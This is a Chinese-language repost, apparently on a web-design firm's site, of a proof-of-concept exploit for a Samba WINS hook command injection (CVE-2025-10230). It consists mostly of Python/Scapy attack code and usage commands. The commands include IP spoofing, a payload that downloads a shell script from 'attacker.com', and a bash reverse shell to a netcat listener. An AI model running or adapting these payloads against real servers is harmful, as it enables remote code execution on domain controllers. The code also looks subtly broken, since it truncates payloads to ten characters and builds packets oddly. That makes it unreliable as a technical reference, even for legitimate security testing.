湖北省网站建设_网站建设公司_展示型网站_seo优化
2026/1/2 7:02:36 网站建设 项目流程

CVE-2025-10230 - Samba WINS钩子命令注入漏洞PoC

项目标题与描述

Samba WINS命令注入漏洞验证工具

本项目提供了一个针对CVE-2025-10230漏洞的概念验证(PoC)实现。该漏洞存在于Samba的WINS钩子处理过程中,当Samba作为Active Directory域控制器并启用WINS支持时,未经验证的NetBIOS名称会被直接传递给系统shell,导致命令注入漏洞。

核心价值

  • 演示真实的WINS协议攻击向量
  • 提供教育和安全测试工具
  • 帮助安全团队验证其Samba部署的安全性
  • 展示网络协议级别的漏洞利用技术

功能特性

核心功能

  • WINS协议包构造:完整实现WINS名称注册请求数据包构造
  • 命令注入载荷:支持自定义shell命令注入
  • IP地址欺骗:允许设置伪造的源IP地址
  • Scapy集成:使用Scapy库进行底层网络包操作
  • 详细日志输出:提供完整的攻击过程反馈

技术特点

  • 基于RFC 1002的WINS协议实现
  • 支持NetBIOS名称编码和压缩
  • 正确处理UDP/42端口(WINS服务端口)
  • 可调节的详细输出模式
  • 跨平台兼容性(需要root权限)

独特价值

  • 针对特定且危险的Samba配置场景
  • 提供实际的漏洞利用演示而非理论分析
  • 包含完整的协议层实现细节

安装指南

系统要求

  • Python 3.6+
  • 类Unix操作系统(Linux, macOS)
  • Root权限(用于原始套接字访问)

依赖安装

# 安装Scapy库
pip install scapy# 或者使用系统包管理器
# Ubuntu/Debian
sudo apt-get install python3-scapy# RHEL/CentOS
sudo yum install python3-scapy

快速安装

# 克隆或下载脚本
git clone <repository-url>
cd <project-directory># 设置执行权限
chmod +x CVE-2025-10230.py# 验证安装
sudo python3 CVE-2025-10230.py --help

注意事项

  1. 权限要求:必须使用sudo或root权限运行,因为需要原始套接字访问
  2. 网络接口:脚本默认使用eth0接口,可能需要根据实际环境调整
  3. 目标环境:仅用于测试授权的实验室环境
  4. 法律合规:确保遵守当地法律法规和测试授权

使用说明

基础用法

# 基本攻击命令
sudo python3 CVE-2025-10230.py <目标IP地址># 示例:攻击192.168.1.10
sudo python3 CVE-2025-10230.py 192.168.1.10

高级选项

# 自定义命令注入载荷
sudo python3 CVE-2025-10230.py 192.168.1.10 \--payload "; wget http://attacker.com/shell.sh -O /tmp/shell.sh"# 指定源IP地址(IP欺骗)
sudo python3 CVE-2025-10230.py 192.168.1.10 \--src_ip 192.168.1.50# 启用详细输出模式
sudo python3 CVE-2025-10230.py 192.168.1.10 -v# 组合使用所有选项
sudo python3 CVE-2025-10230.py 192.168.1.10 \--payload "; id > /tmp/exploited.txt" \--src_ip 10.0.0.100 \--verbose

典型使用场景

场景1:快速漏洞验证

# 使用默认载荷验证漏洞
sudo python3 CVE-2025-10230.py 192.168.1.100
# 在目标服务器检查文件
ssh admin@192.168.1.100 "cat /tmp/injected_by_cve.txt"

场景2:自定义反向shell

# 设置监听器
nc -lvnp 4444# 发送反向shell载荷
sudo python3 CVE-2025-10230.py 192.168.1.100 \--payload "; bash -i >& /dev/tcp/192.168.1.50/4444 0>&1"

场景3:信息收集

# 收集系统信息
sudo python3 CVE-2025-10230.py 192.168.1.100 \--payload "; uname -a > /tmp/sysinfo.txt && \whoami >> /tmp/sysinfo.txt"

API概览

脚本通过命令行参数提供以下功能接口:

参数 缩写 描述 默认值
target_ip - 目标Samba服务器IP地址 必需
--payload - 要注入的shell命令 ; id > /tmp/injected_by_cve.txt 2>&1
--src_ip - 伪造的源IP地址 192.168.1.100
--verbose -v 启用详细输出模式 False

核心代码

1. 主函数入口点

def main():parser = argparse.ArgumentParser(description="CVE-2025-10230 PoC - Samba WINS Injection")parser.add_argument("target_ip", help="IP of vulnerable Samba AD DC")parser.add_argument("--payload", default="; id > /tmp/injected_by_cve.txt 2>&1", help="Shell command to inject (appended after fake NB name)")parser.add_argument("--src_ip", default="192.168.1.100", help="Spoofed source IP in packet")parser.add_argument("--verbose", "-v", action="store_true", help="Verbose Scapy output")args = parser.parse_args()# 构造恶意NetBIOS名称:合法前缀 + 载荷fake_nb = "POC-"  # 看起来合法的前缀malicious_name = fake_nb + args.payload[:10]  # 截断以适应~15字符限制print(f":fire: CVE-2025-10230 PoC Launching...")print(f":bullseye: Target: {args.target_ip} (UDP/42 - WINS)")print(f":syringe: Malicious NB Name: '{malicious_name}'")print(f":memo: Expected on Target: Execution of '{args.payload}' via hook script")print(f":detective:  Post-exploit: Check target /tmp/injected_by_cve.txt or /var/log/samba/log.smbd")print("-" * 60)try:# 构造并发送恶意数据包pkt = craft_wins_registration_packet(malicious_name, args.src_ip, args.target_ip)send(pkt, verbose=args.verbose, iface="eth0")  # 可能需要调整接口print(":collision: Packet sent! If vulnerable, hook should fire. Monitor target logs/FS. :police_car_light:")except Exception as e:print(f":cross_mark: Error sending packet: {e}")sys.exit(1)if __name__ == "__main__":if len(sys.argv) < 2:print("Usage: sudo python3 CVE-2025-10230.py <target_ip> [--payload ';cmd']")sys.exit(1)main()

2. WINS数据包构造函数

def craft_wins_registration_packet(nb_name: str, src_ip: str = "127.0.0.1", target_ip: str = None):"""构造包含注入NB名称的WINS名称注册请求数据包。WINS协议(符合RFC 1002标准,为注册简化)。OpCode: 0x0B(注册)NB名称:填充到15字符+空值,但通过尾随元字符注入。参数:nb_name: 要注入的NetBIOS名称(包含恶意命令)src_ip: 伪造的源IP地址target_ip: 目标Samba服务器IP地址返回:完整的Scapy数据包对象"""# 事务ID(任意值)transaction_id = struct.pack('>H', 0x1234)# 标志位:标准查询(0x0000),OpCode注册(0x0B在高位,但简化处理)flags = struct.pack('>H', 0x000B)  # B节点,注册# 问题数:1questions = struct.pack('>H', 1)# 应答RR数:0answer_rrs = struct.pack('>H', 0)# 权威RR数:0authority_rrs = struct.pack('>H', 0)# 附加RR数:0additional_rrs = struct.pack('>H', 0)# 头部组装header = transaction_id + flags + questions + answer_rrs + authority_rrs + additional_rrs# 问题部分:NetBIOS名称# NB名称编码:18个0xC0字符(标签)+ 长度 + 名称字符# 针对漏洞:使用包含shell字符的原始字符串 - 漏洞不会验证nb_raw = nb_name.encode('ascii')[:15].ljust(15, b'\x00')  # 截断/填充到15字符nb_section = b'\xC0' * 2 + struct.pack('B', len(nb_raw)) + nb_raw + b'\x00'  # 压缩指针技巧 + 名称# QType: NB (0x0020), QClass: IN (0x0001)qtype = struct.pack('>H', 0x0020)qclass = struct.pack('>H', 0x0001)# 问题部分组装question = nb_section + qtype + qclass# 注册请求没有应答部分packet_payload = header + question# 包装到UDP/IP层ip_layer = IP_scapy(src=src_ip, dst=target_ip)udp_layer = UDP(sport=137, dport=42)  # NBNS源端口,WINS目标端口(UDP/42为WINS端口)full_packet = ip_layer / udp_layer / Raw(load=packet_payload)return full_packet

3. 漏洞利用逻辑

# 在main函数中的关键部分:
# 构造恶意NetBIOS名称:合法前缀 + 载荷
fake_nb = "POC-"  # 看起来合法的前缀
malicious_name = fake_nb + args.payload[:10]  # 截断以适应~15字符限制# 漏洞利用的核心在于:
# 1. WINS钩子脚本会接收NetBIOS名称作为参数
# 2. 名称直接传递给系统shell而没有适当清理
# 3. 分号等shell元字符允许执行任意命令# 攻击数据包发送
pkt = craft_wins_registration_packet(malicious_name, args.src_ip, args.target_ip)
send(pkt, verbose=args.verbose, iface="eth0")

4. 程序头部注释和说明

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PoC for CVE-2025-10230 - Samba WINS Hook Command Injection
===========================================================此脚本演示了在Samba的WINS钩子处理中的命令注入漏洞,
当Samba作为AD域控制器运行并启用WINS支持时。用法:python3 CVE-2025-10230.py <target_ip> [--payload <cmd>] [--verbose]要求:- scapy (pip install scapy)- 以root/sudo权限运行以获得原始套接字访问漏洞详情:WINS注册中的未清理NetBIOS名称被传递给'wins hook'脚本,允许通过shell元字符进行命令注入。作者:dptsec(基于Samba安全公告)
许可证:仅用于教育/测试目的。
:warning:  请勿在生产系统上使用!
"""

这些核心代码展示了完整的漏洞利用链,从数据包构造到实际攻击执行的完整流程。代码结构清晰,注释详细,便于理解和修改用于合法的安全测试目的。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANeiTtN5BtCTpfUQ44YS8cf
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询